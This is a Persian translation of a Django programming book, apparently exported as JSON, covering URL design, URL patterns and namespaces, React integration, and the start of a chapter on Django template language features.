بر تحقیقی در سال 2013، نزدیک نصف(47 درصد) تمام بازدیدها از موتورهای جستجو نشأت گرفته است. این به معنای این است که هر صفحه در وب سایت شما بستگی به محبوبیت و جستجو ارتباط دارد که می‌تواند اولین صفحه‌ای باشد که کاربران می‌بینند. هر URLای می‌تواند درب ورودی باشد.\n\nمهمتر از همه، مرور کردن 101 باره آموخته‌های امنیتی به ما یاد داده است. ما به مبتدی‌ها می‌گوییم، *روی لینک‌های آبی کلیک نکنید*. میگوییم اول URL را بخوانید. آیا URL بانک شما است یا سایتی است که تلاش می‌کند، جزئیات حساب کاربری شما را بدزدد.\n\nامروزه URLها به بخشی از رابط کاربری تبدیل شده‌اند. آن‌ها دیده می‌شوند، کپی می‌شوند، به اشتراک گذاشته می‌شوند و حتی ویرایش می‌شوند. آن‌ها را طوری بسازید که در یک نگاه قابل فهم و خوب به نظر برسند نه چشم را زخم کنند. به طور مثال:\n\n<http://example.com/gallery/default.asp?sid=9DF4BC0280DF12D3ACB60090271E26A8&command=commntform>\n\nکوتاه و قابل فهم بودن نه تنها توسط کاربران استقبال می‌شود بلکه توسط موتورهای جستجو نیز. URLهای طولانی و کم ارتباط با محتوا، تأثیر منفی روی رتبه سایت شما در موتورهای جستجو می‌گذارد.\n\nدر نهایت به طور ضمنی به یاد داشته باشید که *URIهای خوب تغییر نمی‌کنند* و شما باید تلاش کنید که ساختار URLها را در طول زمان حفظ کنید حتی اگر وب سایت شما به صورت کامل باز طراحی شد، لینک‌های قدیمی شما باید همچنان کار کند. جنگو شما را از این موضوع مطمئن می‌کند.\n\nقبل از اینکه به دل جزئیات طراحی URLها برویم، نیاز داریم که ساختار URLها را متوجه شویم.\n\n### ساختمان URL\n\nبه طور فنی، URLها متعلق به خانواده‌ای عمومی از شناسه‌ها است که **Uniform Resource\nIdentifiers (URIs)** صدایشان می‌زنیم. از این رو URL نیز همان ساختار URI را دارا است.\n\nیک URI از چندین بخش تشکیل شده است:\n\n*URI = Scheme + Net Location + Path + Query + Fragment*\n\nبه طور مثال ساختار یک URI(<http://dev.example.com/gallery/videos?id=217#comments>) می‌تواند در پایتون به وسیله تابع ```urlparse``` شکسته شود.\n\n```python\n    >>> from urllib.parse import urlparse\n    >>> urlparse(\"http://dev.example.com:80/gallery/videos?id=217#comments\")\n    ParseResult(scheme='http', netloc='dev.example.com:80',\n    path='/gallery/videos', params='', query='id=217', fragment='comments')\n```\n\nقسمت‌های URI می‌تواند به صورت گرافیکی به تصویر کشیده شود که به صورت زیر است:\n\n![قسمت‌های مختلف یک URI](../04-%20Views%20and%20URLs/images/img1.jpg)\n\nحتی اگر چه مستندات جنگو ترجیح می‌دهد که از عبارت URL استفاده کند، ممکن است از لحاظ فنی درست باشد که بگوییم در اکثر اوقات دارید با URIها کار می کنید. ما در این کتاب از این عبارات به جای همدیگر استفاده خواهیم کرد.\n\nالگوهای URL جنگو اکثراً در رابطه با قسمت **مسیر(path)**(در تصویر قبل به صورت پررنگ نشان داده شده است) URI است. تمام قسمت‌های دیگر کنار گذاشته شده است.\n\n#### چه اتفاقی در urls.py می‌افتد؟\n\nاز بسیاری جهات، ```urls.py``` نقطه ورود برای پروژه شما است. معمولاً این اولین فایلی است که من هنگام مطالعه یک پروژه جنگو آن را باز می‌کنم. این مثل خواندن یک نقشه قبل از اکتشاف آن است. اساساً ```urls.py``` حاوی تنظیمات URL ریشه یا ```پیکربندی URL``` در کل پروژه شما است.\n\nیک لیست پایتونی از ```الگوها(patterns)``` است که به متغیری عمومی به نام ```urlpatterns``` اختصاص داده شده است. هر URL ورودی با این توالی، از بالا تا پایین با هر یک از این الگوها مطابقت داده می‌شود. در اولین مطابقت جستجو متوقف شده و درخواست به ویوی متناظر ارسال می‌شود.\n\nاین گزیده‌ی ```urls.py``` از [python.org](https://www.python.org/) است که در جنگو ساخته شده است:\n\n```python\n    urlpatterns = [\n\n\n        # Homepage\n        url(r'^$', views.IndexView.as_view(), name='home'),\n\n        # About\n        url(r'^about/$',\n            TemplateView.as_view(template_name=\"python/about.html\",\n            name='about'),\n\n        # Blog URLs\n        url(r'^blogs/', include('blogs.urls', namespace='blog')),\n\n        # Job archive\n        url(r'^jobs/(?P<pk>\\d+)/$',\n            views.JobArchive.as_view(),\n            name='job_archive'),\n\n        # Admin URLs\n        url(r'^admin/', include(admin.site.urls)),\n\n        # ...\n    ]\n```\nبرخی از نکات جالب توجه در اینجا به شرح زیر است:\n\n- همه الگوها در لیست معمولی پایتون قرار دارند.\n- هر الگوی URL با استفاده از تابع URL ساخته شده است که پنج آرگومان میگیرد. اکثر الگوها سه آرگومان دارند: الگوی عبارت منظم، ویو صدا کننده و اسم ویو.\n- الگوی URL درباره(About)، مستقیماً ویو را با نمونه سازی از ```TemplateView``` تعریف کرده است. این رویکرد زمانی استفاده می‌شود که شما می‌توانید از ویوهای عمومی با کمی شخصی سازی استفاده کنید.\n- URL بلاگ(Blog) در جای دیگری ذکر شده است، به طور مشخص در ```urls.py``` درون اپ blog. عموماً جدا کردن الگوی URL اپ درون فایل خودش، تمرین خوبی است.\n- الگوی ```Job``` تنها مثال اینجا است که تحت عنوان عبارت منظم آمده است.\n\nهر الگوی URL از دو تابع استفاده می‌کنند: تطابق دادن URLهایی که به شکل معینی ظاهر می‌شوند؛ و استخراج کردن اطلاعات جالب از URL و فرستادن آن به ویو صدا کننده است.\n\nاز جنگو 2.0 به بعد شما می‌توانید از الگوی URL ساده شده بدون عبارت منظم استفاده کنید. از آنجایی که درک آن آسان‌تر است تقریباً تمام مستندات جنگو، حتی آموزشش نیز از این فرمت استفاده می‌کنند. اجازه دهید ما اول امتحان کنیم.\n\n#### سینتکس الگوی URL ساده شده\n\nاکثر مبتدی‌ها در الگوهای URL جنگو عبارات منظم را پیدا می‌کنند که کاراکترهای خاصی مثل ```^``` یا ```$``` در آن استفاده شده است که چالش برانگیز است. عبارات منظم در خودشان، زبان کوچکی هستند. پس یک سینتکس ساده‌تر، تا حد زیادی بر اساس فلسک به عنوان راهی پیشفرض و جدید برای اختصاص الگوهای URL پذیرفته شد.\n\nبه جای استفاده از عبارات منظم، می‌توانید ```مسیر(path)``` URL را مستقیماً در الگو درون تابع ```path```(که همان پارامترهای مشخص شده در تابع URL که قبلاً معرفی شد را دارد) مشخص کنید. همچنین شما می‌توانید نام قسمت‌های URL را بگیرید و در علامت‌های کمتری و بیشتری(```<>```) قرار دهید و پیشوند اختیاری نوع داده‌ای را برای آن بگذارید.\n\nچندین مثال که می‌تواند این موضوع را بهتر توضیح دهد. در جدول زیر سینتکس‌های قدیمی و جدید با هم مقایسه شده‌اند:\n\n| قدیمی(الگوی عبارت منظم) | جدید(الگوی ساده شده) |\n| :----------: | :----------: |\n|# Homepage ```url(r'^$', IndexView.as_view(), name='home'),```| # Homepage ```path('', IndexView.as_view(), name='home'),``` |\n|```url(r'^about/$', AboutView.as_view(), name='about'),```| ```path('about/', AboutView.as_view(), name='home'),``` |\n|```url(r'^hello/(?P<name>\\w+)/$', views.hello_fn),```|  ```path('hello/<str:name>/', views.hello_fn),``` |\n| ```url(r'^(?P<year>[0-9]{4})/(?P<month>[-\\w]+)/(?P<day>[0-9]+)/(?P<pk>[0-9]+)/$',``` | ```path('<int:year>/<int:month>/<int:day>/<int:pk>/',``` |\n\n**(داستان)**\n\nسینتکس نه تنها قابل خواندن است بلکه برای گرفتن انواع داده‌ای نیز بهتر است مثل داده‌های عددی که نیازی به، به خاطر سپردن معادل متناظر عبارات منظم آن را ندارند. آن‌ها بعد از اینکه به نوع داده‌ای موردنظر تبدیل شدند به ویو صدا کننده آن فرستاده می‌شوند. این را با عبارت منظم مقایسه کنید که به معنای واقعی کلمه فقط رشته برمیگرداند.\n\nنوع و مسیر(path) که به صورت پیشفرض در دسترس و قابل تبدیل هستند در زیر آمده است هر چند شما نیز میتوانید نوع و مسیرهای خودتان را اضافه کنید:\n\n- ```str```: هر رشته‌ای که حاوی جدا کننده مسیر ```/``` نباشد به جز رشته‌های خالی. اگر نوعی مشخص نشود، این نوع پیشفرض است.\n- ```int```: هر داده عددی حتی شامل صفر نیز می‌شود. در نهایت به صورت ```int``` به ویو فرستاده می‌شود.\n- ```slug```: هر رشته ساخته شده که ترکیبی از حروف ASCII، اعداد، (خط تیره) - یا (خط فاصله) _ باشد.\n- ```uuid```: هر نوع ```uuid``` که اساساً به صورت **12345678-1234-5678-1234-567812345678** است. به عنوان نمونه ```uuid``` فرستاده می‌شود.\n- ```path```: هر رشته‌ای که *حاوی* جدا کننده مسیر ```/``` باشد به جز رشته‌های خالی.\n\nبرای تطابق‌های ملزوم پیچیده می‌توانید از عبارات منظم استفاده کنید یا یک تبدیل کننده مسیر شخصی سازی شده را تعریف کنید(اگر میخواهید دادۀ غیر رشته‌ای استخراج کنید توصیه می‌شود).\n\n**نکته(TIP)**\n\nما تمام آرگومان‌ها را به عنوان کلید واژه می‌فرستیم. جایگاه آرگومان‌ها در سینتکس ساده شده قابل استفاده نیست.\n\nمن توصیه میکنم از سینتکس ساده برای خوانایی بیشتر و بررسی نوع بیشتر استفاده کنید ولی برای درک بهتر کدهای پایه‌ای موجود، شما نیاز خواهید داشت که سینتکس الگوی URL عبارات منظم را نیز به خوبی بدانید.\n\n#### سینتکس الگوی URL با عبارت منظم\n\nاستفاده از الگوی عبارت منظم می‌تواند گاهی به عنوان توده‌ای گیج کننده از علائم نگارشی به نظر برسد. هرچند مثل اکثر چیزها در جنگو، این فقط پایتون عادی است.\n\nاین میتواند خیلی قابل فهم باشد اگه به عملکرد دو الگوی عبارت منظم نگاه کنیم: مطابقت دادن و استخراج کردن.\n\nقسمت اول آسان است. اگر بخواهید مسیری مثل ```/year/1980/``` را مطابقت دهید فقط از عبارت منظم ```^year/\\d+/``` استفاده می‌کنید(که در اینجا ```d\\``` برای اعداد تنهای 0 تا 9 ایستاده است). اسلش اول را نادیده بگیرد چون خورده می‌شود.\n\nقسمت دوم کار جالب است چون در مثال ما دو راه برای استخراج کردن سال وجود دارد(که اینجا ```1980``` است) که برای ویو لازم است.\n\nساده‌ترین کار این است که دور هر گروه از مقادیر پرانتز قرار دهیم که گرفته شود و هر کدام از مقادیر به عنوان آرگومان‌های جایگاهی به ویو ارسال می‌شوند. به عنوان مثال الگوی ```^year/(\\d+)/```، مقدار ```1980``` را به عنوان آرگومان دوم(اولین مورد درخواست(request) است) به ویو ارسال می‌کند.\n\nمسئله با آرگومان‌های جایگاهی می‌تواند به راحتی ترتیب‌ها را درهم و برهم کند. از این رو ما آرگومان‌های بر اساس نام را داریم که بر اساس نام آن‌ها مقادیرشان گرفته می‌شود. مثال حالا شبیه ```^year/(?P<year>\\d+)/``` خواهد بود. این به این معنی خواهد بود که ویو با آرگومان کلید واژه که ```year``` با مقدار ```1980``` صدا زده می‌شود.\n\n**نکته(TIP)**\n\nاز تولیدکننده‌های عبارات منظم آنلاین مثل <http://pythex.org/> یا <https://www.debuggex.com/> برای مهارت و امتحان کردن عبارت‌های منظمتان استفاده کنید.\n\nاگر ویوهای مبتنی بر کلاس دارید می‌توانید با ```self.args``` به آرگومان‌های جایگاهی و با ```self.kwargs``` به آرگومان‌های کلید واژه‌ای دسترسی پیدا کنید. اکثر ویوهای عمومی انتظار دارند که آرگومان‌هایشان صرفاً آرگومان کلید واژه‌ای باشد برای مثال ```self.kwargs[\"slug\"]```.\n\n##### آیا میتوانیم سینکس ساده شده را با عبارات منظم جایگزین کنیم؟\n\nباور دارم که شما کاملاً می‌توانید به سینتکس ساده شده سوئیچ کرده و از عبارت منظم برای مطابقت الگو دوری کنید. عبارات منظم ممکن است که قدرتمندتر به نظر برسند ولی آن‌ها خوانایی را قربانی می‌کنند و همچنین محدودیت‌های خود را دارند.\n\nالگوی سال مثال قبل را در نظر بگیرید. بعضی از مردم باهوش ممکنه عبارت منظم را به صورت ```^year/(\\d{4})/``` بنویسند اما در مورد سال 793 میلادی چطور(وقتی وایکینگ‌ها شروع به حمله ایرلند کردند) یا 11234 میلادی(شاید ورود واکینگ‌های فضایی به زمین؟) یا هر سال غیر 4 عددی دیگر؟\n\nالگوی ساده شده ```<year/<int:year/``` می‌تواند تمام این حالات سال و بیشتر را تطابق دهد. شما می‌توانید یک بررسی برای معتبر بودن سال در ویو اضافه کنید. به صورت زیر:\n\n```python\n    class YearView(View):\n        def get(self, request, year):\n            try:\n                d = datetime(year=year, month=1, day=1)\n                reply = \"First day of the year {} is {}!\".format(\n                    year, d.ctime())\n            except ValueError:\n                reply = \"Error: Invalid year!\"\n            return HttpResponse(reply)\n```\n\nدوباره، این نمی‌تواند سال 11234 میلادی را مدیریت کند از آن جا که اشیاء datetime پایتون فقط می‌توانند سال را نهایتاً تا 9999 نمایش دهند. اگر برنامه داشته باشید که از اشیاء datetime استفاده کنید به هر صورت این محدودیت را دارید. اجازه دهید که حتی راجع به مدیریت سال‌های قبل از میلاد بحث نکنیم.\n\nمختصراً، بهتر است که اطلاعات استخراج شده از الگوی URL را درون ویو بررسی کنید. شما می‌توانید از منطق بررسی بهتری یا حتی عبارت منظم بهتری برای اپلیکیشن استفاده کنید که پیام خطای خیلی  بهتری به جای نمایش مرموزانه خطای **404: صفحه پیدا نشد(404: Page not found)** به شما می‌دهد.\n\nدر موارد نادر دو ویو ممکن است که مسیر URL شبیه به هم داشته باشند که نیاز به عبارات منظم دارد. حتی بعد شما می‌توانید پیشوند مسیری طراحی کنید که بین آن‌ها تمایز ایجاد کند.\n\n#### نام‌ها و فضاهای نام\n\nهمیشه برای الگوهایتان اسم بگذارید چون کمک می‌کند که کدتان را از مسیرهای مطلق URL جدا کند. برای نمونه در ```پیکربندی URL``` قبلی اگر شما می‌خواستید به صفحه ```درباره(About)``` ریدایرکت کنید، ممکن بود که وسوسه شوید و از ```redirect(\"/about\")``` استفاده کنید به جای اینکه از ```redirect(\"about\")``` استفاده کنید که از نام به جای ```مسیر(path)``` استفاده می‌کند.\n\nدر اینجا چند مثال بیشتر از واکشی‌های معکوس(reverse lookup) آورده‌ایم:\n\n```python\n    >>> from django.urls import reverse\n    >>> reverse(\"hello_fn\")\n    /hello-fn/\n    >>> reverse(\"year_view\", kwargs={\"year\":\"793\"})\n    /year/793/\n```\n\nنام‌ها باید منحصر به فرد باشند. اگر دو الگو یک اسم داشته باشند کار نخواهند کرد. قبل‌تر از چندین پکیج جنگو برای اضافه کردن پیشوندهایی به الگوی نام استفاده می‌شد. برای مثال در اپلیکیشنی به نام ```Blog``` ممکن بود ویوی فید را با نام ```blog-feed``` صدا بزنید در صورتی که ```feed``` نامی مرسوم است و ممکن است سبب ناسازگاری با دیگر اپ‌ها گردد.\n\nفضاهای نام ساخته شده‌اند که چنین مشکلاتی را حل کنند. الگوهای نام نیاز دارند در فضاهای نام استفاده شوند و فقط در آنجا منحصر به فرد باشند و نه در کل پروژه. به شما توصیه میشه که به هر اپ فضای نام خودش را اختصاص دهید.\n\nبرای مثال ما می‌توانیم فضای نام ```viewschapter``` را که فقط URLهای این فصل است را با اضافه کردن این خط به ```پیکربندی URL``` ریشه بسازیم:\n\n```python\npath('', include(viewschapter.urls, namespace='viewschapter')),\n```\n\nحالا می‌توانیم از الگوهای نام استفاده کنیم مثل ```feed``` یا هر چیز دیگری که در ```فضای نام(namespace)``` اپ منحصر به فرد هستند. با این حال وقتی میخواهید به نامی درون یک ```فضای نام``` ارجاع دهید نیاز دارید که اول ```فضای نام``` را ذکر کنید و بعد از آن علامت : و بعد از آن نام الگو که در مثال ما به صورت ```\"viewschapter:hello_fn\"``` است. \n\n```python\n    >>> from django.urls import reverse\n    >>> reverse(\"viewschapter:hello_fn\")\n    /hello-fn/\n```\n\nهمانطور که زِن(Zen) پایتون گفته است: *Namespaces are one honking great idea — let's do more of those(فضاهای نام یک ایده عالی برای سر و صدا کردن هستند - بیاید از آن استفاده بیشتری کنیم)*. شما می‌توانید فضاهای نام تو در تو بسازید که الگوهای نام شما را تمیزتر خواهد کرد مثل ```blog:comment:edit```. خیلی توصیه میکنم که از فضاهای نام در پروژه‌هایتان استفاده کنید.\n\n#### ترتیب الگوها\n\nترتیب الگوهای شما از این مزیت بهره میبرد که جنگو چطور آن‌ها را پردازش کند که  پردازش آن به صورت بالا به پایین است. یک قانون سرانگشتی خوب این است که موارد خاص را در بالا نگه داریم. الگوهای گسترده‌تر و عمومی‌تر می‌تواند پایین‌تر ذکر شود. گسترده‌ترین الگو که همه درخواست‌ها را میگیرد می‌تواند به پایین‌ترین نقطه برود.\n\nبرای مثال مسیر اپ پست‌های ```بلاگ``` ممکن است مجموعه‌ای از کاراکترهای معتبر باشد اما شما می‌خواهید صفحه ```درباره(About)``` را به صورت جدا مدیریت کنید. توالی درست این الگوها باید به صورت باشد:\n\n```python\n    blog_patterns = [\n        path('about/', views.AboutView.as_view(), name='about'),\n        path('<slug:slug>/', views.ArticleView.as_view(), name='article'),\n    ]\n```\n\nاگر ما ترتیب را برعکس کنیم بعد آن مورد خاص یعنی ```AboutView``` هیچوقت صدا زده نخواهد شد.\n\n#### سبک‌های الگو URL\n\nطراحی URLهای سایت به راحتی ممکنه است نادیده گرفته شود. طراحی خوب URLها نه تنها می‌تواند به صورت منطقی سایت شما را سازمانی دهی کند بلکه می‌تواند حدس زدن مسیرها برای کاربران را نیز راحت‌تر کند. طراحی ضعیف حتی ممکنه که ریسک‌های امنیتی به وجود بیاورد: برای مثال استفاده از ID دیتابیس(که در یک دنباله افزایشی یکنواخت از اعداد صحیح رخ می‌دهد) در الگوی URL می‌تواند ریسک دزدیده شدن اطلاعات خراب کردن سایت را افزایش دهد.\n\nبیاید چندین سبک مرسوم طراحی کردن URL را امتحان کنیم.\n\n##### URLهای به سبک دپارتمان‌های فروش\n\nبعضی از سایت‌ها شبیه دپارتمان‌های فروش گذاشته شده‌اند. قسمتی برای غذا وجود دارد که در درونش راهرویی برای میوه وجود خواهد داشت که در درون این قسمت انواع مختلفی از سیب‌ها کنار هم قرار گرفته‌اند.\n\nدر مورد URLها، به این معناست که صفحات مرتب شده را می‌توانید به صورت سلسله مراتبی پیدا کنید که به صورت زیر است:\n\n```\n    http://site.com/ <section> / <sub-section> / <item>\n```\n\nزیبایی این لایه این است که می‌توان به آسانی از آن بالا رفت و به قسمت پدر رسید. هر موقع که آخر URL بعد از هر اسلش را پاک کنید یک سطح بالاتر خواهید رفت.\n\nبه طور مثال شما می‌توانید ساختار مشابهی را برای ```article``` بسازید که در زیر نشان داده شده است:\n\n```python\n    blog_patterns = [\n        path('', views.BlogHomeView.as_view(), name='blog_home'),\n        path('<slug:slug>/', views.ArticleView.as_view(), name='article'),\n    ]\n```\n\nبه الگوی ```blog_home``` توجه کنید که  اگر کاربری از یک مقاله خاص بالا برود یک فهرست مقاله را نشان خواهد داد.\n\n##### URLهای RESTful\n\nدر سال 2000، روی فیلدینگ(Roy Fielding) در پایان نامه دکترای خود عبارت **Representational state transfer (REST)** را معرفی کرد. خواندن تز او (<http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm>) به شدت توصیه می‌شود تا معماری وب را بهتر متوجه شوید. به شما کمک خواهد کرد که وب اپلیکیشن‌های بهتری بنویسید که محدودیت‌های هستۀ معماری را نقض نخواهد کرد.\n\nیکی از بینش‌های کلیدی این است که URI شناسه یک منبع است. یک منبع می‌تواند هر چیزی باشد مانند یک مقاله، یک کاربر یا مجموعه‌ای منابع مثل رخداد‌ها. به طور کلی، منابع اسم هستند.\n\nوب برخی از عملکردهای اساسی HTTP برای دستکاری منابع را در اختیار شما قرار می‌دهد: ```GET، POST، PUT، PATCH و DELETE```.\n\n**نکته(TIP)**\n\nاین‌ها قسمتی از یک URL نیستند و از این رو تمرین بدی است اگر از این عملکردها در URL، برای دستکاری منابع استفاده کنیم.\n\nبه طور مثال، مثالی که در ادامه آمده است URL بدی در نظر گرفته می‌شود: <http://site.com/articles/submit/>\n\nبه جای آن شما باید عملکرد را از URL حذف کرده و از عمل ```POST``` استفاده کنید: <http://site.com/articles/>\n\nتوجه کنید که همیشه استفاده کردن از این عملکردها در URL اشتباه نیست. URL جستجوی سایت شما می‌تواند فعل search را داشته باشد تا زمانی که با یکی از منابع به عنوان REST مرتبط نیست: <http://site.com/search/?q=needle>\n\nURLهای RESTful برای طراحی کردن رابط‌ها خیلی مفید هستند. آن‌ها تقریباً بین عملیات‌های پایگاه داده **Create(ساختن)، Read(خواندن)، Update(بروزرسانی کردن) و Delete(حذف کردن) (CRUD)** و عملکردهای HTTP نگاشت یک به یک انجام می‌دهند. ما APIهای RESTful را در [فصل 9]('../../../09-%20Creating%20APIs/README.md)، *ساختن APIها* با جزئیات بیشتر پوشش داده‌ایم.\n\nتوجه کنید که سبک URLهای RESTful مکمل سبک URLهای دپارتمان فروش است. اکثر سایت‌ها هر دو سبک را با هم ترکیب می‌کنند. آن‌ها برای وضوح و فهم بیشتر از هم جدا شده‌اند.\n\n## React.js، Vue.js و دیگر ویوهای جایگزین\n\nدر سال 2018 اکثر وب اپلیکیشن‌های بزرگ از فریمورک‌های فرانت اند ‌جاوا اسکریپت از جمله انگولار یا ری‌اکت جی اس استفاده می‌کردند. بعضی از این‌ها مثل انگولار فریمورک‌های تماماً MVC هستند ولی بعضی دیگر مثل ری‌اکت جایگزین‌های ویو هستند.\n\nاز آنجا که ری‌اکت در حال حاضر محبوب‌ترین انتخاب برای توسعه فرات اند است، ما به طور خلاصه نگاهی می‌کنیم به ری‌اکت و جنگو که چگونه با هم کار می‌کنند. از نظر معماری ری‌اکت لایه‌های **قالب(Template)** را به جای ویوهای اپلیکیشن جنگوی شما جایگذاری می‌کند. همانطور که در نمودار زیر نمایش داده شده است:\n\n|![نمودار کارکرد جنگو با و بدون ری‌اکت](../04-%20Views%20and%20URLs/images/img2.jpg)|\n|:--:|\n|چگونه اضافه کردن ری‌اکت معماری سنتی سایت جنگویی را تغییر می‌دهد. این یکی از چند راه موجود است که می‌توان ری‌اکت و جنگو را با هم ادغام کرد.|\n\nشما می‌توانید از فریمورک رست جنگو یا سرویس ساده ویو برای ارسال داده JSON به ری‌اکت استفاده کنید. رندر گرفتن از قالب در مرورگر، سمت کلاینت انجام خواهد شد.\n\nرابط‌های ری‌اکت می‌توانند بدون بارگذاری مجدد خیلی بیشتر ریسپانسیو و پویا باشند.\n\nوب اپلیکیشن‌های کاملی وجود دارند که می‌توانند بدون بارگذاری مجدد صفحه ساخته شوند که به آن **Single Page\nApplication (SPA)** می‌گویند.\n\nهرچند خزنده‌های موتورهای جستجو توانایی اجرای جاوا اسکریپت را ندارند که منجر به رتبه سئوی ضعیف چنین سایت‌هایی می‌شود. برای غلبه به این مشکل گاهی اوقات از سمت سرور جاوا اسکریپت برای رندر گرفتن HTML استفاده می‌شود.\n\nبا جاوا اسکریپت به عنوان گزینه قابل دوام در بک اند، جنگو و ری‌اکت به چندین شیوه مختلف می‌توانند ترکیب شوند. بعضی از الگوهای مرسوم آن این‌ها است:\n\n- **ری‌اکت بر اساس SPA و بک اند API رست جنگو(React based SPA and Django REST API backend)**: این تفکیک ایده‌آل از نگرانی‌ها است. شما API عمومی بک اند را برای کلاینت‌های مختلفی از جمله اپ‌های موبایل می‌گیرید اما ممکن است مجبور شوید که چگونگی پشتیبانی فهرست بندی جستجو را کشف کنید.\n- **ری‌اکت بر اساس SPA و اندپوینت‌های API جنگو(React based SPA and Django API endpoints)**: به جای ساخت بک اند API به صورت کامل، این رویکرد هر صفحه را به عنوان یک اندپوینت API در دسترس قرار می‌دهد. این روش برای مهاجرت کردن سایت‌ها به صورت تکه تکه راحت‌تر است اما فرانت اند و بک اند شما را محکم بهم نگه می‌دارد.\n- **قالب‌های جنگو به همراه کامپوننت‌های ری‌اکت(Django templates and bundled React components)**: قالب‌های جنگو می‌توانند به وسیله تگ ```<script>``` به باندل ری‌اکت مراجعه کرده و داده را به پروپرتی‌های ری‌اکت ارسال کنند. اینجا می‌توانید مزیت‌های ابزارهای ساخته شده با جاوا اسکریپت را ببینید مثل Webpack به transpile و minify. این روش به خوبی کار می‌کند اگر سایت شما هم به صفحات ایستا و هم به صفحات پویا نیاز داشته باشد.\n\nهمانطور که می‌بینید قالب‌های سمت سرور همچنان برای سئو مهم هستند. یک صفحه جاوا اسکریپتی سنگین ممکن است روی کلاینت‌های کم قدرت مثل دستگاه‌های اینترنت اشیاء امکان پذیر نباشند. در موارد مشابه نیز شما ممکن است بخواهید صفحاتتان توسط سیستم قوی  قالب سمت سرور جنگو رندر گرفته شود.\n\n## خلاصه\n\nویوها قسمتی فوق العاده قوی در معماری MVC جنگو هستند. در طول زمان ویوهای مبتنی بر کلاس انعطاف پذیرتر و بیشتر قابل استفاده مجدد شده‌اند تا در مقایسه با ویوهای مبتنی بر تابع سنتی. میکسین‌ها بهترین مثال برای ویژگی قابل استفاده مجدد بودن هستند.\n\nجنگو دارای یک سیستم ارسال URL فوق العاده انعطاف پذیر است. ساخت یک URL خوب چندین وجه را در نظر می‌گیرد. کاربران نیز از URLهای خوب طراحی شده استقبال می‌نمایند.\n\nدر فصل بعدی ما به زبان قالب جنگو و بهترین روش استفاده از آن نگاه می‌کنیم."
  },
  {
    "path": "05-Templates/README.md",
    "content": "# ۵ تمپلیت‌‌ها\n\nدر این بخش ما موضوعات زیر را بررسی خواهیم کرد:\n\n- ویژگی‌های زبان تمپلیت جنگو \n- جینجا ۲ (Jinja2)\n- سازماندهی تمپلیت‌ها \n- چگونه تمپلیت‌‌ها کار می‌کنند \n- بوتسترپ (Bootstrap)\n- الگوی درختی وراثت در تمپلیت \n- الگوی لینک فعال \n\nوقت آن است که از سومین تفنگدار در سه‌گانه MTV صحبت کنیم؛ تمپلیت‌ها. تیم شما ممکن است دیزاینری داشته باشد که مسؤول طراحی تمپلیت‌ها باشد یا ممکن است خود شما آن‌ها را طراحی کنید. در هر حالت لازم است که یا تمپلیت‌ها کاملاً آشنا باشید. در نهایت تمپلیت‌ها هستند که با کاربر واقعی روبرو می‌شوند.\n\nجنگو زبان‌های تمپلیتی زیادی را پشتیبانی می‌کند. در اینجا ما ابتدا به زبان تمپلیت خود جنگو نگاهی می‌اندازیم که به صورت پیش‌فرض در هر پروژه، وجود دارد.\n\n## درک ویژگی‌های زبان تمپلیت جنگو\n\nبیایید ابتدا نگاهی سریع به ویژگی‌های **DTL** یا **Django Template Language** داشته باشیم.\n\n**متغیرها**\n\nهر تمپلیت یک مجموعه از متغیرهای زمینه (context) را دریافت می‌کند. مانند متد format() در رشته‌های پایتونی که با یک آکولاد {variable}، مشخص می‌شود، جنگو از دو آکولاد {{ variable }} استفاده می‌کند. ببینیم چطور با هم تفاوت دارند:\n\nدر پایتون روش نوشتن `<h1>{title}</h1>` است. برای مثال:\n\n`>>> \"<h1>{title}</h1>\".format(title=\"SuperBook\") '<h1>SuperBook</h1>'`\n\nهمین عبارت در تمپلیت جنگو به صورت `<h1>{{ title }}</h1>` نوشته می‌شود. رندر کردن این عبارت با متغیر زمینه قبلی نتیجه یکسانی خواهد داشت: \n\n`>>> from django.template import Template, Context`\n\n`>>> Template(\"<h1>{{ title }}</h1>\").render(Context({\"title\": \"SuperBook\"}))`\n\n`'<h1>SuperBook</h1>'`\n\n**صفات یا Attributes**\n\nنقطه، یک اپراتور چند منظوره در تمپلیت‌های جنگو است. سه نوع عملیات مختلف وجود دارد: جستجوی صفت، جستجوی دیکشنری و یا جستجوی ایندکس لیست (به همین ترتیب).\n\nابتدا متغیرهای زمینه و کلاس‌ها را مشخص کنیم. در پایتون:\n\n```python\n>>> class DrOct:\n        arms = 4\n        def speak(self):\n            return \"You have a train to catch.\"\n>>> mydict = {\"key\":\"value\"}\n>>> mylist = [10, 20, 30]\n```\n\nحالا بیایید به دستور زبان پایتون برای این سه نوع جستجو نگاه کنیم:\n\n```python\n>>> \"Dr. Oct has {0} arms and says: {1}\".format(DrOct().arms,\nDrOct().speak())\n'Dr. Oct has 4 arms and says: You have a train to catch.'\n>>> mydict[\"key\"]\n'value'\n>>> mylist[1]\n20\n```\n\nمعادل آن در تمپلیت جنگو به این صورت خواهد بود:\n\n**Dr. Oct has {{ s.arms }} arms and says: {{ s.speak }} {{ mydict.key }}**\n\n**{{ mylist.1 }}**\n\n[](../02-%20Application%20Design/images/1.png) نگاه کنید که متد speak، که هیچ ارگومانی به غیر از self نمی‌گیرد، در اینجا مانند یک صفت با آن رفتار شده است. \n\n**فیلترها**\n\nبعض مواقع لازم است که متغیرها تغییر کنند. ممکن است بخواهید فانکشن‌‌های مختلفی را روی یک متغیر اعمال کنید. به جای صدا کردن فانکشن‌ها به صورت زنجیروار پشت سر هم مانند var.method1().method2(arg)، جنگو از روش پایپ کردن استفاده می‌کند {{ var|method1|method2:\"arg\" }}، که شبیه به فیلترهای یونیکس است. با این‌حال این روش فقط برای فیلترهای پیش‌فرض یا فیلترهای تعریف شده به صورت اختصاصی، کار می‌کند.\n\nیک محدودیت دیگر این است که فیلترها نمی‌توانند به متن تمپلیت دسترسی داشته باشند. این فیلترها فقط به کمک دیتا و آرگومان‌هایی که به آن‌ها ارسال می‌شود کار می‌کنند. بنابراین در درجه اول، برای تغییر متغیرها در متن تمپلیت به کار می‌روند.\n\nاین دستور را در پایتون اجرا کنید:\n\n```python\n**>>> title=\"SuperBook\"**\n\n**>>> title.upper()[:5]**\n\n**'SUPER'**\n```\n\nدر ادامه، معادل آن را در تمپلیت جنگو می‌بینید:\n\n``{{ title|upper|slice:':5' }}``\n\n**تگ‌ها**\n\nزبان‌های برنامه نویسی، کاری بیش از نشان دادن متغیرها می‌توانند انجام دهند. زبان تمپلیت جنگو فرم‌های نوشتاری آشنای زیادی مانند for دارد. این دستورها باید در روش نوشتاری تگ‌ها مانند `{% if %}` نوشته شوند. بسیاری از فرم‌های اختصاصی 